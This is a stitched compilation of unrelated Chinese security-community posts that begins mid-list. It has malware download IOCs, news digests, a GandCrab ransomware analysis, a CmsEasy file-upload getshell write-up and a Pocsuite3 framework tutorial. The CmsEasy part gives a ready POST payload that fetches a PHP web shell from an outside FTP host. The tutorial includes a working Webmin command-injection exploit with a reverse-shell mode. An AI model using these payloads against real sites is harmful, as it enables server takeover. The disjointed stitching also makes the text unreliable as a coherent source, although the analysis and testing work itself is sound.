e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh
### 更早期间的关联样本
c63820d8aff3b18b3ee0eaee4e9d26b0 hxxp://172.93.97.219/okiru.mipsel
fd2bd0bf25fc306cc391bdcde1fcaeda hxxp://172.93.97.219/okiru.arm
ba98c78a65ebf17615fee9a7ef34b405 hxxp://172.93.97.219/okiru.arm7
8a561bda915c89668e611b0ba72b0429 hxxp://172.93.97.219/okiru.m68k
f8130e86dc0fcdbcfa0d3b2425d3fcbf hxxp://172.93.97.219/okiru.x86
7a38ee6ee15bd89d50161b3061b763ea hxxp://172.93.97.219/okiru.mips
3f401fc6b8a5847376e4d070505bd9fe hxxp://172.93.97.219/cryptonite.mips
a69692a2506f2127b23a8c35abe11427 hxxp://165.227.220.202/bins/mips | 社区文章 |
# 4月5日热点 - 剑桥分析公司拥有8700万的用户数据，不是5000万
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Facebook：剑桥分析公司拥有比预想的要多得多的数据
<https://www.zdnet.com/article/facebook-confirms-cambridge-analytica-took-more-data-than-first-thought/>
<https://www.bleepingcomputer.com/news/security/facebook-cambridge-analytica-accessed-data-on-87-million-users-not-50-million/>
Microsoft带外安全更新修补恶意软件保护引擎漏洞
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0986>
<https://www.bleepingcomputer.com/news/security/microsoft-out-of-band-security-update-patches-malware-protection-engine-flaw/>
> [Microsoft issued out-of-band patch to fix CVE-2018-0986 Malware Protection
> Engine
> flaw](https://securityaffairs.co/wordpress/71049/hacking/cve-2018-0986-flaw.html)
最新的macOS更新不再对许多外部监视器提供支持
<https://www.bleepingcomputer.com/news/apple/latest-macos-update-breaks-support-for-many-external-monitors/>
CertUtil.exe可能允许攻击者绕过AV时下载恶意软件
<https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/>
Google Chrome扩展程序检测到“零宽度字符”指纹攻击
<https://www.bleepingcomputer.com/news/security/google-chrome-extension-detects-zero-width-character-fingerprinting-attacks/>
<https://medium.com/@umpox/be-careful-what-you-copy-invisibly-inserting-usernames-into-text-with-zero-width-characters-18b4e6f17b66>
## 技术类
漏洞聚焦：Natus NeuroWorks多个漏洞
<http://blog.talosintelligence.com/2018/04/vulnerability-spotlight-natus.html>
通过蓝牙从FUZE窃取信用卡
[https://blog.ice9.us/2018/04/stealing-credit-cards-from-fuze-bluetooth.html](https://blog.ice9.us/2018/04/stealing-credit-cards-from-fuze-bluetooth.html?utm_source=securitydailynews.com)
Vulnerability Modeling with Binary Ninja
[Vulnerability Modeling with Binary
Ninja](https://blog.trailofbits.com/2018/04/04/vulnerability-modeling-with-binary-ninja/)
Triaging a DLL planting vulnerability
<https://blogs.technet.microsoft.com/srd/2018/04/04/triaging-a-dll-planting-vulnerability/>
与OceanLotus相关的新MacOS后门
<https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found>
如何攻击FTP客户端
<https://snyk.io/blog/attacking-an-ftp-client/>
Hunting down Dofoil with Windows Defender ATP
<https://cloudblogs.microsoft.com/microsoftsecure/2018/04/04/hunting-down-dofoil-with-windows-defender-atp/>
解包可执行文件 – ESP技巧
<https://goggleheadedhacker.com/blog/post/6>
使用Hashcat破解256个字符的密码
<https://cyberarms.wordpress.com/2018/04/03/cracking-passwords-up-to-256-characters-with-hashcat/> | 社区文章 |
# 一、样本简介
GandCrab勒索病毒于2018年1月首次出现，在半年的时候之内，迅速发展，短短几个月时间里就出现了V1.0,V2.0,V3.0,V4.0等几个大的版本的更新，V4.0之后又出现了V4.1,V4.2,V4.3,V4.4等几个小版本的变种更新样本，非常活跃，目前此勒索病毒最新的变种样本均无法解密。
GandCrab的感染方式主要是通过以下几种方式：
(1)RDP爆破
(2)垃圾邮件，带有恶意链接或附件
(3)下载捆绑有恶意程序的正常软件
(4)利用RigEK漏洞利用工具包
# 二、样本分析
1.样本前期进行解密操作，先解密出里面的shellcode代码，如下所示：
修改shellcode代码的属性，如下所示：
转跳到相应的内存地址，执行shellcode代码，如下所示：
定位kernel32.dll，如下所示：
获取GetProcAddress函数的地址，如下所示：
然后再获取内存操作VirtualAlloc,VirtualProtect，VirtualFree，GetVersionExA,
TerminateProcess等函数地址，如下所示：
分配相应的内存地址，如下所示：
进行内存解密出payload代码，如下所示：
进行内存块拷贝操作，将003B0000的内存数据payload拷贝到00400000内存地址处，如下所示：
再将003B0400处的数据，拷贝到00401000处，如下所示：
循环拷贝003B0000处的相关数据到00400000，重建PE文件数据，如下所示：
重建输入表操作，如下所示：
输入表重建完成之后，如下所示：
获取atexit函数地址，并执行atexit，如下所示：
最后跳转到相应的payload加密操作代码入口，执行payload代码，如下所示：
2.样本跳转到了入口点，相应的反汇编代码，如下所示：
3.使用了静态对抗反汇编的方式，去混淆之后，如下所示：
4.跳转到入口函数之后，同样使用了相同的对抗反汇编的方式，如下所示：
5.获取Windows操作系统版本，如下所示：
6.获取当前运行进程权限，如下所示：
7.遍历相关进程，如下所示：
然后结束相关的进程，如下所示：
相关的进程列表如下：
msftesql.exe、sqlagent.exe、sqlbrowser.exe、sqlwriter.exe、oracle.exe、ocssd.exe、dbsnmp.exe、 synctime.exe、agntsvc.exeisqlplussvc.exe、xfssvccon.exe
sqlservr.exe、mydesktopservice.exe、ocautoupds.exe、agntsvc.exeagntsvc.exe
agntsvc.exeencsvc.exe、firefoxconfig.exe、tbirdconfig.exe、mydesktopqos.exe
ocomm.exe、mysqld.exe、mysqld-nt.exe、mysqld-opt.exe、dbeng50.exe
sqbcoreservice.exe、excel.exe、infopath.exe、msaccess.exe、mspub.exe
onenote.exe、outlook.exe、powerpnt.exe、steam.exe、sqlservr.exe、thebat.exe
thebat64.exe、thunderbird.exe、visio.exe、winword.exe、wordpad.exe
8.查询操作系统安装的输入法，如下所示：
比较操作系统输入法是否为Russian，如下所示：
如果操作系统为输入法为Russian，则不进行加密操作,执行后面的自删除操作，如下所示：
9.获取操作系统的语言版本，如下所示：
当操作系统语言为如下国家时，则不进行加密，执行自删除操作，相应的国家列表如下：
419(LANG_RUSSIAN俄语) 422(LANG_UKRAINIAN乌克兰)
423(LANG_BELARUSIAN白俄罗斯) 428(LANG_TAJIK塔吉克)
42B(LANG_ARMENIAN亚美尼亚) 42C(阿塞拜疆，拉丁美洲(AZ))
437(LANG_GEORGIAN格鲁吉亚人) 43F(LANG_KAZAK哈萨克族)
440(LANG_KYRGYZ吉尔吉斯) 442(LANG_TURKMEN土库曼)
443(乌兹别克斯坦，拉丁语(UZ)) 444(LANG_TATAR俄罗斯(RU))
818(未知) 819(未知)
82C(LANG_AZERI阿塞拜疆，西里尔(亚利桑那州)) 843(LANG_UZBEK乌兹别克)
10.创建一个随机名称的互斥变量，防止重复感染，如下所示：
11.利用程序中硬编码的数据，内存加密生成RSA公钥public_key，如下所示：
动态调试，得到的RSA公钥数据，如下所示：
RSA公钥，如下：
06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00 01 00 01 00 BB EF 02 46 0B 5E 8C 72 8E A0 A0 31 AE 95 33 82 D6 67 89 32 B2 ED 92 A8 16 0A BC 28 C1 4D 3E 00 A3 DC 48 47 3D E9 9A C1 31 AE 41 C5 E8 22 70 6A 7F 75 98 8F C6 EB EE 65 9B 1B 96 D3 4D AA 3F 75 0B A5 75 E7 71 CD 88 A0 77 E0 CB 2F 33 A2 0D AB E4 E3 40 82 3F D9 95 50 A4 92 56 AA 77 61 05 75 F2 25 81 DA A1 BE 30 A7 CB DA 2B A39E 85 AB 03 8D BB D3 F0 BB 9C 71 9A D4 98 CF C6 C2 A8 62 84 32 85 4C 1B 2C FF E4 D8 D9 E5 2A BB 18 06 08 6A F4 D8 D1 8D 00 E3 41 FC E7 C5 20 25 D2 DD 47 FF 27 09 1F 6D 34 6C 8A 0A EB AB 13 48 09 F6 24 24 98 84 22 DD C1 A1 1C 60 63 06 71 EE 00 4A 21 BA 1F AF 4C 03 D2 C7 3F BA 64 39 35 B4 44 0B 17 5F B5 2C 8C 4E B2 E6 61 B2 23 21 4D AD FB D4 1D 96 4B A1 FC 7F BF 98 78 BB D3 72 F1 E3 46 1F 03 4C 05 18 96 C1 47 C0 A0 6F 17 07 11 10 2B 2D D4 C8
12.获取主机相关信息，如下所示：
获取的相关信息列表如下：
用户名
主机名
工作组
操作系统语言
操作系统键盘输入法
操作系统版本类型信息
CPU类型及型号信息
安全软件信息
磁盘类型及空间信息
遍历主机上的安全软件，收集安全软件相关信息，如下：
相关的安全软件列表如下：
AVP.EXE、ekrn.exe、avgnt.exe、ashDisp.exe、NortonAntiBot.exe、Mcshield.exe
avengine.exe、cmdagent.exe、smc.exe、persfw.exe、pccpfw.exe、fsguiexe.exe
cfp.exe、msmpeng.exe
得到的相关信息，如下所示：
相应的反汇编代码，如下所示：
13.获取到主机的相关信息，拼接字符串信息，如下所示：
然后对拼接出来的字符串进行加密处理，如下所示：
相应的反汇编代码，如下所示：
可以看到此GandCrab勒索样本的版本信息version=4.3
14.获取相应的网站域名链接地址，如下所示：
相应的域名地址列表如下：
勒索软件从上面的域名地址列表中选择一个域，并使用以下单词之一创建随机的路径，如下所示：
随机的路径列表如下：
wp-content、static、content、includes、data、uploads、news
然后再选择一个单词添加后URL后面，如下所示：
相关的单词列表如下：
images、pictures、image、graphic、assets、pics、imgs、tmp
再从下面的文件名列表中随机选择几个组合成文件名，如下所示：
相应的文件名组合列表如下：
im、de、ka、ke、am、es、so、fu、se、da、he、ru、me、mo、th、zu
最后再把前面的URL与随机选择的扩展名连接起来，如下所示：
随机的扩展名列表如下：
jpg、png、gif、bmp
使用POST的方式发送HTTP请求到之前拼接出来的网站，如下所示：
15.利用程序中的硬编码数据作为Key，然后生成RSA公钥和私钥，并导出公钥，如下所示：
16.将生成的RSA私钥和硬编码生成的RSA公钥设置到注册表项中，如下所示：
设置完成之后，注册表键值如下：
相应的注册表项:
HKEY_CURRENT_USER\SOFTWARE\keys_data\data
17.生成勒索信息文件加密Key的相关信息，如下所示：
生成的勒索信息加密Key，如下所示：
18.内存拼接生成勒索信息，如下所示：
19.遍历磁盘，创建线程，加密磁盘文件，如下所示：
20.创建线程，加密局域网共享目录文件夹下的文件，如下所示：
21.遍历主机或网络共享文件夹目录，如果是以下文件目录，则不进行加密操作，如下所示：
相应的文件目录列表如下：
\ProgramData\
\IEIldCache\
\Boot\
\Program Files\
\Tor Browser\
\All Users\
\Local Settings\
\Windows\
22.遍历磁盘目录下的文件，如果为以下文件，则不进行加密操作，如下所示：
相应的文件名称列表如下：
desktop.ini
autorun.inf
ntuser.dat
iconcache.db
bootsect.bak
boot.ini
ntuser.dat.log
thumbs.db
KRAB-DECRYPT.html
KRAB-DECRYPT.txt
CRAB-DECRYPT.txt
ntldr
NTDETECT.COM
Bootfont.bin
23.将之前生成的勒索信息写入到每个加密后的文件夹下的勒索信息文本文件KRAB-DECRYPT.txt中，如下所示：
写入相应的勒索信息，如下所示：
24.生成随机的lock文件，保存感染时间，如下所示：
25.加密文件，生成以KRAB为后缀的加密文件，如下所示：
26.加密完成之后，通过ShellExecuteW函数调用wmic.exe程序，删除磁盘卷影操作，如下所示：
27.对抗杀毒软件，对杀毒软件的相关驱动进行攻击DeviceIoControl请求，如下所示：
28.相应的勒索信息文本文件，如下所示：
29.加密后的文件，如下所示：
30.通过勒索信息，打开相应的暗网网站，如下所示：
# 三、总结
此勒索病毒V4.3版本主要利用了对抗静态反汇编的方式，防止安全分析人员对样本进行静态分析，增大了样本静态分析的难度。
对抗反汇编的方式，如下所示： | 社区文章 |
## 简要描述
官方在2016-10-12版本修复了此漏洞，修复的比较。。。暴力 直接注释了cut_image_action函数。。。
所以基本上有心的人随便瞅一眼官方公告diff一下文件内容就能找到这个漏洞 也就不藏着掖着了
## 漏洞详情
lib/default/tool_act.php 行392
function cut_image_action() {
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
$thumb=new thumb();
$thumb->set(front::$post['thumb'],'jpg');
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
$save_file='upload/images/'.date('Ym').'/'.$new_name;
@mkdir(dirname(ROOT.'/'.$save_file));
ob_start();
$thumb->out_image($img,null,85);
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
ob_end_clean();
$image_url=config::get('base_url').'/'.$save_file;
//$res['size']=ceil(strlen($img) / 1024);
$res['code']="
//$('#cut_preview').attr('src','$image_url');
$('#thumb').val('$image_url');
alert(lang('save_success'));
";
echo json::encode($res);
}
没有判断pic的后缀就直接取了
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
做为文件名字 导致getshell
此处的坑是
1. 需要过 **ImageCreateFromxxx** 、 **ImageCopyResampled** 、 **ImageJpeg** 3个函数 任然保留shell语句
2. 需要通过 **file_exists** 函数的验证
第一个坑就不说怎么绕过的了 各种fuzz就是了
第二个坑
file_exists并不能判断远程http(s)文件是否存在 固定返回 **false**
查阅[manual](http://us3.php.net/manual/zh/function.file-exists.php)得知
> 自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。
查了下各种封装协议[wrappers](http://us3.php.net/manual/zh/wrappers.php)发现了
[ftp://](http://us3.php.net/manual/en/wrappers.ftp.php) 支持 **stat();**
Attribute | PHP4 | PHP5
---|---|---
Supports stat() | No | As of PHP 5.0.0: filesize(), filetype(), file_exists(),
is_file(), and is_dir() elements only.
\--- | \--- | As of PHP 5.1.0: filemtime().
5.0.0以上 就支持file_exists()了
接下来就是根据要求构造payload
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
如果站点不是放在根目录 则需要在payload前面补足 **strlen(base_url)+2** 位的长度 如果在根目录也要补 **1** 位
`POST /index.php?case=tool&act=cut_image`
`pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146`
本地测试截图
互联网随便找了个站
### 2016-11-08补充
不少人私聊问我怎么构造过GD库的图片shell，就把我自己用的脚本放出来吧，注释里面什么都有
`$miniPayload`改成`shell`语句
1、上传一张jpg图片，然后把网站处理完的图片再下回来 比如x.jpg
2、执行php jpg_payload.php x.jpg
3、如果没出错的话，新生成的文件就是可以过gd库的带shell图片了
tips：
1、图片找的稍微大一点 成功率更高
2、shell语句越短成功率越高
3、一张图片不行就换一张 不要死磕
### 2016-11-09 补充
关于POC的构造说的不太清楚
如果`$_POST['pic']`开头4个字符不是http的话，就认为是本站的文件，会从前面抽取掉baseurl（等于返回文件相对路径）
所以构造的时候 如果站点不是放在根目录 则需要在前面补位`strlen(base_url)+2` 如果放在根目录 也需要补上1位（'/'的长度）
举个栗子：
目标站 <http://www.target.com/easy/>
cmseasy放在easy子目录 就需要补上strlen(base_url)+2 = strlen('easy')+2=6位
post数据就是
pic=111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
目标站 <http://www.target2.com/>
cmseasy放在web根目录 就需要补上1位
post数据就是
pic=1ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
还有后面的w h x1 x2 y1 y2简单说一下
w=x2=图片宽度
h=y2=图片高度
x1=y1=固定0
根据你自己的图片宽高来改吧 | 社区文章 |
# 【知识】9月26日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： AutoTriageBot：针对hackerone的自动化验证漏洞报告开源项目、一个用于智能设备安全测试的BLE（Bluetooth Low
Energy）扫描器、BaRMIe：枚举并且工具Java RMI (Remote Method
Invocation)的开源工具、PHP7的安全模块、如何hook LuaJIT、当你像一个攻击者一样去思考时你将会成为一个优秀的Threat
Hunter**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
********
********
WhatsApp 被屏蔽
互联网上的黑暗角落
中国黑客攻击引起德国警觉
利用电源管理入侵 ARM TrustZone
**资讯类：** ****
********
谷歌测试5款主流浏览器 Safari最不安全
<https://www.bleepingcomputer.com/news/security/google-experiment-tests-top-5-browsers-finds-safari-riddled-with-security-bugs/>
****
**技术类：** ****
********
AutoTriageBot：针对hackerone的自动化验证漏洞报告开源项目
<https://engineering.salesforce.com/open-sourcing-autotriagebot-deced9933cd7>
一个用于智能设备安全测试的BLE（Bluetooth Low Energy）扫描器
<https://github.com/evilsocket/bleah>
BaRMIe：枚举并且攻击Java RMI (Remote Method Invocation)的开源工具
<https://github.com/NickstaDB/BaRMIe>
PHP7的安全模块：Killing bugclasses and virtual-patching the rest!
<https://snuffleupagus.readthedocs.io/>
Great Hacking related Humble book Bundle
<https://www.humblebundle.com/books/hacking-reloaded-books>
Solidity anti-patterns: Fun with inheritance DAG abuse
<https://pdaian.com/blog/solidity-anti-patterns-fun-with-inheritance-dag-abuse/>
ROP介绍
<https://medium.com/@iseethieves/intro-to-rop-rop-emporium-split-9b2ec6d4db08>
Broadcom：处理802.11v WNM睡眠模式响应时存在堆溢出漏洞
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1288>
[会议视频]Don't Google 'PowerShell Hunting'
<https://www.youtube.com/watch?v=1mfVPLPxKTc>
redsails：基于Python的后渗透测试工具，可以绕过安全监控和日志记录
<https://github.com/BeetleChunks/redsails>
如何hook LuaJIT
<https://nickcano.com/hooking-luajit/>
当你像一个攻击者一样去思考时你将会成为一个优秀的Threat Hunter
<https://securingtomorrow.mcafee.com/business/how-thinking-like-an-attacker-makes-a-better-threat-hunter>
OSCP认证
<https://securit.ie/blog/?p=70> | 社区文章 |
**Author: Knownsec 404 Team
Chinese version: <https://paper.seebug.org/1931/> **
# 1 Introduction
[Pocsuite3](https://pocsuite.org/) is a remote vulnerability testing framework
based on GPLv2 license and open source created by Knownsec 404 Team. Since
Pocsuite3 was open sourced in 2015, Knownsec 404 Team has been continuously
maintaining and updating.
Features：
* It supports three modes: verify, attack and shell. It is not only born for scanning, but also can be used in other scenarios, such as vulnerability exploit and interactive shell for obtaining targets.
* It integrates common cyberspace search engines such as ZoomEye and Shodan to facilitate asset import.
* DNSLog tools such as CEye and Interactsh are integrated to assist in the verification of no echo vulnerability.
* Plug in system, users can customize plug-ins of TARGETS, POCS, RESULTS, which is highly expandable.
* Hook of network library (urllib3, requests), convenient for POC writing and global control.
* It supports IPv4 / IPv6.
* Global HTTP/HTTPS/SOCKS proxy support.
* Integrated call support, which can be used as a module.
* Industry conscience, all open source code.
* ...
Compared with Metasploit, Pocsuite3 currently does not have the ability of
post penetration stage, which is relatively lightweight. Compared with the PoC
framework in YAML format, Pocsuite3 is more flexible and can directly use a
large number of third-party libraries. As long as users can write python, they
can get started quickly. Of course, flexibility also brings the problem of PoC
maintenance. After all, everyone has different coding styles, which can only
be said to have advantages and disadvantages.
At present, Pocsuite3's support for YAML format PoC is also planned. Please
look forward to it.
# 2 Installation
Developed based on Python3, Pocsuite3 can run on any platform that supports
Python 3.7+, such as Linux, Windows, MacOS, BSD, etc.
In November 2021, Pocsuite3 passed the official Debian code and compliance
inspection, and [officially joined the software repository of Debian, Ubuntu,
Kali and other Linux
distributions,](\(https://mp.weixin.qq.com/s/0lPA8FGKA64X8K-aTcgmMQ\)
"officially joined the software warehouse of Debian, Ubuntu, Kali and other
Linux distributions,") which can be obtained by one click with apt command. In
addition, pocsuite3 has also been pushed to Python pypi, homebrew repository
of MacOS, AUR repository of archlinux, and dockerhub.
## 2.1 Install using Python3 pip
pip3 install pocsuite3
# Use domestic image acceleration
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3
## 2.2 Install on MacOS
brew update
brew info pocsuite3
brew install pocsuite3
## 2.3 [Debian](https://tracker.debian.org/pkg/pocsuite3),
[Ubuntu](https://launchpad.net/ubuntu/+source/pocsuite3),
[Kali](http://pkg.kali.org/pkg/pocsuite3)
sudo apt update
sudo apt install pocsuite3
## 2.4 Docker
docker run -it pocsuite3/pocsuite3
## 2.5 Arch Linux
yay pocsuite3
## 2.6 Source installation
wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
cd pocsuite3-master
pip3 install -r requirements.txt
python3 setup.py install
# 3 Brief analysis of Architecture
In order to use it more smoothly, it is necessary to understand the
architecture of the framework. On the whole, this framework mainly includes
four parts: target collection, PoC plug-in loading, multithread detection and
results summary. As shown in the following figure:
## 3.1 Target collection
First, let's take a look at target collection. Currently, the following
methods are supported:
* `-u` specify a single URL or CIDR, which supports IPv4 / IPv6. Using the `-p` parameter can provide additional ports, and it is convenient to detect a target network segment with CIDR.
* `-f` specify a file and save multiple URL/CIDRs to the file, one per line.
* `--dork`, the framework integrates common cyberspace search engines such as ZoomEye、Shodan and so on. It can automatically import targets by providing search keywords and `API-KEY` with corresponding parameters. It is worth mentioning that users can also put search keywords into the dork attribute of the PoC plug-in.
* `--plugins` call the plug-in to load the target, such as `target_from_redis`. Users can also customize the targets type plug-in.
## 3.2 PoC plug-in loading
* The `-r` option supports specifying one or more PoC paths (or directories). If a directory is provided, the framework will traverse the directory and then load all qualified PoCs. Users can use the `-k` option to specify keywords to filter PoCs, such as component name, CVE number, etc. If we confirm the target component, we can use the `-k` option to find all the corresponding PoCs for batch testing of the target. If only the `-k` option is provided, `-r` defaults to the `pocsuite3/pocs` directory that comes with Pocsuite3.
* `--plugins` call the plug-in to load PoC, such as `poc_from_seebug`、`poc_from_redis`. Users can also customize POCS type plug-ins.
## 3.3 Multithread detection
After the user specifies the target and PoC, the framework will match each
target and PoC (Cartesian product), generate a queue with element `(target,
poc_module)`, and then start a thread pool with the default size of 150 (can
be set through `--threads`) to process this queue.
In Pocsuite3, the PoC plug-in has three running modes, corresponding to the
three methods defined in the PoC plug-in respectively. The command line
parameters `--verify`、`--attack`、`--shell` can be used to determine which
method to execute. If not specified, the default is `--verify`.
What a thread needs to do is to initialize the PoC plug-in with target as a
parameter, execute the specified method, and then obtain the execution result.
## 3.4 Results summary
After obtaining the execution results in the previous step, the framework
provides a variety of methods to process and save the results:
* Console log, `-v` parameter controls the log level, `--ppt` parameter can process the mosaic of IP address, which is convenient for screen recording.
* `-o` parameter saves the running result as a file in JSON Lines format.
* `--plugins` calls the plug-in to process the results, such as `file_record`，`html_report`. Users can also customize the results type plug-in.
# 4 Operation
Pocsuite3 has three operation methods: 1. Command line; 2. Interactive
console; 3. Integration call.
## 4.1 Command line
Run the pocsuite command directly, and use the corresponding parameters to
specify the target and PoC to be tested.
## 4.2 Interactive console
For a console similar to Metasploit, use the `poc-console` command to enter.
## 4.3 Integration call
Use it as a module.
# 5 How to write PoC
The frame is only the body, and PoC is the soul. Here, several common
vulnerability types are taken as examples to illustrate how to quickly develop
PoC based on Pocsuite3 framework.（ **The following vulnerabilities are all
public vulnerabilities on the Internet. This tutorial is only for tool
teaching purposes. It is forbidden to use POC for any illegal purposes!** ）
Pocsuite 3 can automatically generate PoC templates through the `-n` or
`--new` parameters.
## 5.1 Three modes of PoC plug-in
1、Verify mode, to verify the existence of vulnerabilities. The verification
method depends on the specific vulnerability type, such as checking the
software version of the target, judging the status code or return of a key
API, reading a specific file, executing a command and obtaining the results,
combined with DNSLog out-of-band echo, etc. This mode is used for batch
vulnerability detection. Generally, users do not need to provide additional
parameters, and it should be harmless to the target as far as possible.
2、Attack mode can realize a specific requirement. For example, get specific
data, write a shell and return the shell address, get the command from the
command line parameters and execute it, get the file path from the command
line parameters and return the file content, etc.
3、Shell mode, to get the interactive shell. In this mode, it will listen to
the 6666 port of the machine by default (which can be modified by
`--lhost`、`--lport` parameters), write the corresponding code, let the target
execute the reverse connection, and connect the Payload to the set IP and port
to get a shell. Refer to [GTFOBins Reverse
shell](https://gtfobins.github.io/#+reverse shell) for reverse connection of
payload.
In the PoC plug-in, the implementation of attack mode and shell mode is
optional.
## 5.2 PoC plug-in base class
In order to simplify the writing of PoC plug-ins, Pocsuite3 implements the PoC
base class: `POCBase`, where many common code fragments can be placed. When
writing POC, we only need to inherit the base class. The commonly used
properties and methods are as follows:
常用属性：
self.url # Target url
self.scheme # Protocol of target url
self.rhost # Hostname of target url
self.rport # Port of target url
self.host_ip # IP address of the WAN port on the host
常用方法：
self._check() # Port opening check, http/https protocol automatic correction, dork check, honeypot check
self.get_option('key') # Get the value of command line parameter --key
self.parse_output({}) # Method of returning results, parameter is a dictionary
## 5.3 Webmin unauthorized remote command execution
vulnerability（CVE-2019-15107）
Vulnerability details：[Webmin Unauthenticated Remote
Execution](https://www.seebug.org/vuldb/ssvid-98060)
Webmin is a powerful Web-based Unix system management tool. Administrators can
access various Webmin management functions through browsers and complete
corresponding management actions. The `Webmin <= 1.920` `/password_change.cgi`
interface has an unauthorized command injection vulnerability.
Based on the details of the vulnerability disclosed on the Internet, we can
easily develop the PoC plug-in of the vulnerability. First, use the `--new`
parameter to generate a PoC template (if there are too many attributes, just
press enter all the way):
→pocsuite --new
...
You are about to be asked to enter information that will be used to create a poc template.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value.
----- Seebug ssvid (eg, 99335) [0]: 98060
PoC author (eg, Seebug) []: Seebug
Vulnerability disclosure date (eg, 2021-8-18) [2022-07-11]: 2019-08-19
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-98060]:
Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2019-15107
Vendor name (eg, Fortinet) []:
Product or component name (eg, FortiWeb) []: Webmin
Affected version (eg, <=6.4.0) []: <=1.920
Vendor homepage (eg, https://www.fortinet.com) []: https://www.webmin.com
0 Arbitrary File Read
1 Code Execution
2 Command Execution
3 Denial Of service
4 Information Disclosure
5 Login Bypass
6 Path Traversal
7 SQL Injection
8 SSRF
9 XSS
Vulnerability type, choose from above or provide (eg, 3) []: 2
Authentication Required (eg, yes) [no]: no
Can we get result of command (eg, yes) [no]: yes
PoC name [Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)]:
Filepath in which to save the poc [./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py]
[14:50:49] [INFO] Your poc has been saved in ./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py :)
The generated PoC template is as follows:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# It is recommended to import from pocsuite3.api
from pocsuite3.api import (
minimum_version_required, POCBase, register_poc, requests, logger,
OptString, OrderedDict,
random_str,
get_listener_ip, get_listener_port, REVERSE_PAYLOAD
)
# Limit the Framework version and avoid running new PoC plug-ins on the old framework
minimum_version_required('1.9.6')
# DemoPOC class, inherited from the base class POCBase
class DemoPOC(POCBase):
# Attribute information of PoC and vulnerability
vulID = '98060'
version = '1'
author = 'Seebug'
vulDate = '2019-08-19'
createDate = '2022-07-11'
updateDate = '2022-07-11'
references = ['https://www.seebug.org/vuldb/ssvid-98060']
name = 'Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)'
appPowerLink = 'https://www.webmin.com'
appName = 'Webmin'
appVersion = '<=1.920'
vulType = 'Command Execution'
desc = 'Vulnerability description'
samples = [''] # The test sample is the goal of successful PoC testing
install_requires = [''] # PoC third party module dependency
pocDesc = 'User manual of poc'
# Search for dork. If the target is not provided when running PoC and the field is not empty, the plug-in will be called to retrieve the target from the search engine.
dork = {'zoomeye': ''}
suricata_request = ''
suricata_response = ''
# Define additional command line parameters for attack mode
def _options(self):
o = OrderedDict()
o['cmd'] = OptString('uname -a', description='The command to execute')
return o
# The core method of vulnerability
def _exploit(self, param=''):
# Use self._check() method checks whether the target is alive and whether it is a keyword honeypot.
if not self._check(dork=''):
return False
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'a=b'
res = requests.post(self.url, headers=headers, data=payload)
logger.debug(res.text)
return res.text
# Implementation of verify mode
def _verify(self):
result = {}
flag = random_str(6)
param = f'echo {flag}'
res = self._exploit(param)
if res and flag in res:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
# Call self.parse_output(), return the result
return self.parse_output(result)
# Implementation of attack mode
def _attack(self):
result = {}
# self.get_option() method can obtain customized command line parameters
param = self.get_option('cmd')
res = self._exploit(param)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
# Call self.parse_output(), return the result
return self.parse_output(result)
# Implementation of shell mode
def _shell(self):
try:
self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
except Exception:
pass
# Register this PoC to the framework
register_poc(DemoPOC)
Based on the above PoC template, combined with vulnerability details,
rewrite`_exploit()` method：
def _exploit(self, param=''):
if not self._check(dork='<title>Login to Webmin</title>'):
return False
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url}/session_login.cgi'
}
payload = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
res = requests.post(f'{self.url}/password_change.cgi', headers=headers, data=payload)
logger.debug(res.text)
return res.text.split('The current password is incorrect')[-1].split('</h3></center>')[0]
